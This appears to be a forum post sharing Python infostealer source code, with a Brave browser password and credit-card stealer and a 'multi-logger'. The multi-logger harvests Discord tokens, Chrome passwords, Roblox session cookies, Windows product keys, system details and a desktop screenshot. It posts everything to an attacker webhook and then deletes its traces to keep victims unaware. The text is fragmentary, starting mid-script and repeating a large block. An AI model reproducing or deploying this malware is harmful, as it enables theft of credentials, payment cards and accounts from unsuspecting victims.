pass
"""gather our windows product key variables"""
try:
usr = os.getenv("UserName")
keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
types = subprocess.check_output('wmic os get Caption').decode().split('\n')[1].strip()
except:
pass
"""steal victim's .roblosecurity cookie"""
cookie = [".ROBLOSECURITY"]
cookies = []
limit = 2000
"""chrome installation => list cookies from this location"""
try:
cookies.extend(list(steal.chrome()))
except:
pass
"""firefox installation => list cookies from this location"""
try:
cookies.extend(list(steal.firefox()))
except:
pass
"""read data => if we find a matching positive for our specified variable 'cookie', send it to our webhook."""
try:
for y in cookie:
send = str([str(x) for x in cookies if y in str(x)])
chunks = [send[i:i + limit] for i in range(0, len(send), limit)]
for z in chunks:
roblox = f'```' + f'{z}' + '```'
except:
pass
"""attempt to send all recieved data to our specified webhook"""
try:
embed = Embed(title='Aditional Features',description='a victim\'s data was extracted, here\'s the details:',color=0x2f3136,timestamp='now')
embed.add_field("windows key:",f"user => {usr}\ntype => {types}\nkey => {keys}")
embed.add_field("roblosecurity:",roblox)
embed.add_field("tokens:",message)
embed.add_field("hostname:",f"{hostname}")
except:
pass
try:
hook.send(embed=embed, file=passwords)
except:
pass
"""attempt to remove all evidence, allows for victim to stay unaware of data extraction"""
try:
subprocess.os.system(r'del C:\ProgramData\screenshot.jpg')
subprocess.os.system(r'del C:\ProgramData\passwords.zip')
subprocess.os.system(r'del C:\ProgramData\passwords.txt')
except:
pass
beamed()Browser Password Stealer
sudo apt install python3 && python3-pippip3 install pypiwin32 pycryptodome win32crypt Crypto shutil
python Brave.py
Brave.py
Python:
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import datetime
FileName = 116444736000000000
NanoSeconds = 10000000
def ConvertDate(ft):
utc = datetime.utcfromtimestamp(((10 * int(ft)) - FileName) / NanoSeconds)
return utc.strftime('%Y-%m-%d %H:%M:%S')
def get_master_key():
'''
This Function is used to get the Master Key, for Decrypting the Encrypted Passwords
'''
try:
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State',
"r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
except:
exit()
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
'''
Here we are passing the buffer and Master Key to Decrypt the Password
'''
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception as e:
return "Chrome < 80"
def get_password():
master_key = get_master_key()
login_db = os.environ[
'USERPROFILE'] + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\default\Login Data'
try:
shutil.copy2(login_db,
"Loginvault.db")
except:
print("[*] Brave Browser Not Installed !!")
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
if username != "" or decrypted_password != "":
print(
"URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 10 + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
def get_credit_cards():
master_key = get_master_key()
login_db = os.environ[
'USERPROFILE'] + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\default\Web Data'
try:
shutil.copy2(login_db,
"CCvault.db")
except:
print("[*] Brave Browser Not Installed !!")
conn = sqlite3.connect("CCvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT * FROM credit_cards")
for r in cursor.fetchall():
username = r[1]
encrypted_password = r[4]
decrypted_password = decrypt_password(encrypted_password, master_key)
expire_mon = r[2]
expire_year = r[3]
print(
"Name in Card: " + username + "\nNumber: " + decrypted_password + "\nExpire Month: " + str(
expire_mon) + "\nExpire Year: " + str(expire_year) + "\n" + "*" * 10 + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("CCvault.db")
except Exception as e:
pass
def get_bookmarks():
bookmarks_location = os.environ[
'USERPROFILE'] + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\default\Bookmarks'
with open(bookmarks_location) as f:
data = json.load(f)
bookmarks_list = data["roots"]["bookmark_bar"]["children"]
for i in range(len(bookmarks_list)):
print(f"Name: {bookmarks_list[i]['name']}\n"
f"Added on: {ConvertDate(bookmarks_list[i]['date_added'])}\n")
while True:
get_password()
get_credit_cards()
get_bookmarks()Multi-logger
sudo apt install python3 && python3-pip
pip3 install dhooks pycryptodome requests psutil browser_cookie3 cryptography
multi-logger.py
Python:
## Scan for the regex [\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}
def Yoink(Directory):
Directory += '\\Local Storage\\leveldb'
Tokens = []
for FileName in os.listdir(Directory):
if not FileName.endswith('.log') and not FileName.endswith('.ldb'):
continue
for line in [x.strip() for x in open(f'{Directory}\\{FileName}', errors='ignore').readlines() if x.strip()]:
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
for Token in re.findall(regex, line):
Tokens.append(Token)
return Tokens
## Wipe the temp file
def Wipe():
if os.path.exists(roaming + "temp.txt"):
output2 = open(roaming + "temp.txt", "w")
output2.write("")
output2.close()
else:
pass
## Search Directorys for Token regex if exists
for Discord, Directory in Directories.items():
if os.path.exists(Directory):
Tokens = Yoink(Directory)
if len(Tokens) > 0:
for Token in Tokens:
realshit = f"{Token}\n"
cpufreq = psutil.cpu_freq()
svmem = psutil.virtual_memory()
partitions = psutil.disk_partitions()
disk_io = psutil.disk_io_counters()
net_io = psutil.net_io_counters()
partitions = psutil.disk_partitions()
for partition in partitions:
try:
partition_usage = psutil.disk_usage(partition.mountpoint)
except PermissionError:
continue
requests.post(url, data=json.dumps({ "embeds": [ { "title": f"Someone Runs Program! - {host}", "color": 8781568 }, { "color": 7506394, "fields": [ { "name": "GeoLocation", "value": f"Using VPN?: {proxy}\nLocal IP: {localip}\nPublic IP: {publicip}\nMAC Adress: {mac}\n\nCountry: {country} | {callcode} | {timezone}\nregion: {region}\nCity: {city} | {postal}\nCurrency: {currency}\n\n\n\n" } ] }, { "fields": [ { "name": "System Information", "value": f"System: {uname.system}\nNode: {uname.node}\nMachine: {uname.machine}\nProcessor: {uname.processor}\n\nBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}" } ] }, { "color": 15109662, "fields": [ { "name": "CPU Information", "value": f"Psychical cores: {psutil.cpu_count(logical=False)}\nTotal Cores: {psutil.cpu_count(logical=True)}\n\nMax Frequency: {cpufreq.max:.2f}Mhz\nMin Frequency: {cpufreq.min:.2f}Mhz\n\nTotal CPU usage: {psutil.cpu_percent()}\n" }, { "name": "Nemory Information", "value": f"Total: {scale(svmem.total)}\nAvailable: {scale(svmem.available)}\nUsed: {scale(svmem.used)}\nPercentage: {svmem.percent}%" }, { "name": "Disk Information", "value": f"Total Size: {scale(partition_usage.total)}\nUsed: {scale(partition_usage.used)}\nFree: {scale(partition_usage.free)}\nPercentage: {partition_usage.percent}%\n\nTotal read: {scale(disk_io.read_bytes)}\nTotal write: {scale(disk_io.write_bytes)}" }, { "name": "Network Information", "value": f"Total Sent: {scale(net_io.bytes_sent)}\")\nTotal Received: {scale(net_io.bytes_recv)}" } ] }, { "color": 7440378, "fields": [ { "name": "Discord information", "value": f"Token: {realshit}" } ] } ] }), headers={"Content-Type": "application/json"})
DBP = r'Google\Chrome\User Data\Default\Login Data'
ADP = os.environ['LOCALAPPDATA']
def sniff(path):
path += '\\Local Storage\\leveldb'
tokens = []
try:
for file_name in os.listdir(path):
if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
continue
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
for token in re.findall(regex, line):
tokens.append(token)
return tokens
except:
pass
def encrypt(cipher, plaintext, nonce):
cipher.mode = modes.GCM(nonce)
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext)
return (cipher, ciphertext, nonce)
def decrypt(cipher, ciphertext, nonce):
cipher.mode = modes.GCM(nonce)
decryptor = cipher.decryptor()
return decryptor.update(ciphertext)
def rcipher(key):
cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
return cipher
def dpapi(encrypted):
import ctypes
import ctypes.wintypes
class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', ctypes.wintypes.DWORD),
('pbData', ctypes.POINTER(ctypes.c_char))]
p = ctypes.create_string_buffer(encrypted, len(encrypted))
blobin = DATA_BLOB(ctypes.sizeof(p), p)
blobout = DATA_BLOB()
retval = ctypes.windll.crypt32.CryptUnprotectData(
ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
if not retval:
raise ctypes.WinError()
result = ctypes.string_at(blobout.pbData, blobout.cbData)
ctypes.windll.kernel32.LocalFree(blobout.pbData)
return result
def localdata():
jsn = None
with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode="r") as f:
jsn = json.loads(str(f.readline()))
return jsn["os_crypt"]["encrypted_key"]
def decryptions(encrypted_txt):
encoded_key = localdata()
encrypted_key = base64.b64decode(encoded_key.encode())
encrypted_key = encrypted_key[5:]
key = dpapi(encrypted_key)
nonce = encrypted_txt[3:15]
cipher = rcipher(key)
return decrypt(cipher, encrypted_txt[15:], nonce)
class chrome:
def __init__(self):
self.passwordList = []
def chromedb(self):
_full_path = os.path.join(ADP, DBP)
_temp_path = os.path.join(ADP, 'sqlite_file')
if os.path.exists(_temp_path):
os.remove(_temp_path)
shutil.copyfile(_full_path, _temp_path)
self.pwsd(_temp_path)
def pwsd(self, db_file):
conn = sqlite3.connect(db_file)
_sql = 'select signon_realm,username_value,password_value from logins'
for row in conn.execute(_sql):
host = row[0]
if host.startswith('android'):
continue
name = row[1]
value = self.cdecrypt(row[2])
_info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value)
self.passwordList.append(_info)
conn.close()
os.remove(db_file)
def cdecrypt(self, encrypted_txt):
if sys.platform == 'win32':
try:
if encrypted_txt[:4] == b'\x01\x00\x00\x00':
decrypted_txt = dpapi(encrypted_txt)
return decrypted_txt.decode()
elif encrypted_txt[:3] == b'v10':
decrypted_txt = decryptions(encrypted_txt)
return decrypted_txt[:-16].decode()
except WindowsError:
return None
else:
pass
def saved(self):
try:
with open(r'C:\ProgramData\passwords.txt', 'w', encoding='utf-8') as f:
f.writelines(self.passwordList)
except WindowsError:
return None
if __name__ == "__main__":
main = chrome()
try:
main.chromedb()
except:
pass
main.saved()
# webhook functionality => collect rest of specified data, send it to our webhook
def beamed():
hook = Webhook(url)
try:
hostname = requests.get("https://api.ipify.org").text
except:
pass
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
paths = {
'Discord': roaming + '\\Discord',
'Discord Canary': roaming + '\\discordcanary',
'Discord PTB': roaming + '\\discordptb',
'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
'Opera': roaming + '\\Opera Software\\Opera Stable',
'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}
message = '\n'
for platform, path in paths.items():
if not os.path.exists(path):
continue
message += '```'
tokens = sniff(path)
if len(tokens) > 0:
for token in tokens:
message += f'{token}\n'
else:
pass
message += '```'
"""screenshot victim's desktop"""
try:
screenshot = image.grab()
screenshot.save(os.getenv('ProgramData') +r'\screenshot.jpg')
screenshot = open(r'C:\ProgramData\screenshot.jpg', 'rb')
screenshot.close()
except:
pass
"""gather our .zip variables"""
try:
zname = r'C:\ProgramData\passwords.zip'
newzip = zipfile.ZipFile(zname, 'w')
newzip.write(r'C:\ProgramData\passwords.txt')
newzip.close()
passwords = File(r'C:\ProgramData\passwords.zip')
except:
pass
"""gather our windows product key variables"""
try:
usr = os.getenv("UserName")
keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
types = subprocess.check_output('wmic os get Caption').decode().split('\n')[1].strip()
except:
pass
"""steal victim's .roblosecurity cookie"""
cookie = [".ROBLOSECURITY"]
cookies = []
limit = 2000
"""chrome installation => list cookies from this location"""
try:
cookies.extend(list(steal.chrome()))
except:
pass
"""firefox installation => list cookies from this location"""
try:
cookies.extend(list(steal.firefox()))
except:
pass
"""read data => if we find a matching positive for our specified variable 'cookie', send it to our webhook."""
try:
for y in cookie:
send = str([str(x) for x in cookies if y in str(x)])
chunks = [send[i:i + limit] for i in range(0, len(send), limit)]
for z in chunks:
roblox = f'```' + f'{z}' + '```'
except:
pass
"""attempt to send all recieved data to our specified webhook"""
try:
embed = Embed(title='Aditional Features',description='a victim\'s data was extracted, here\'s the details:',color=0x2f3136,timestamp='now')
embed.add_field("windows key:",f"user => {usr}\ntype => {types}\nkey => {keys}")
embed.add_field("roblosecurity:",roblox)
embed.add_field("tokens:",message)
embed.add_field("hostname:",f"{hostname}")
except:
pass
try:
hook.send(embed=embed, file=passwords)
except:
pass
"""attempt to remove all evidence, allows for victim to stay unaware of data extraction"""
try:
subprocess.os.system(r'del C:\ProgramData\screenshot.jpg')
subprocess.os.system(r'del C:\ProgramData\passwords.zip')
subprocess.os.system(r'del C:\ProgramData\passwords.txt')
except:
pass
beamed()
Последнее редактирование: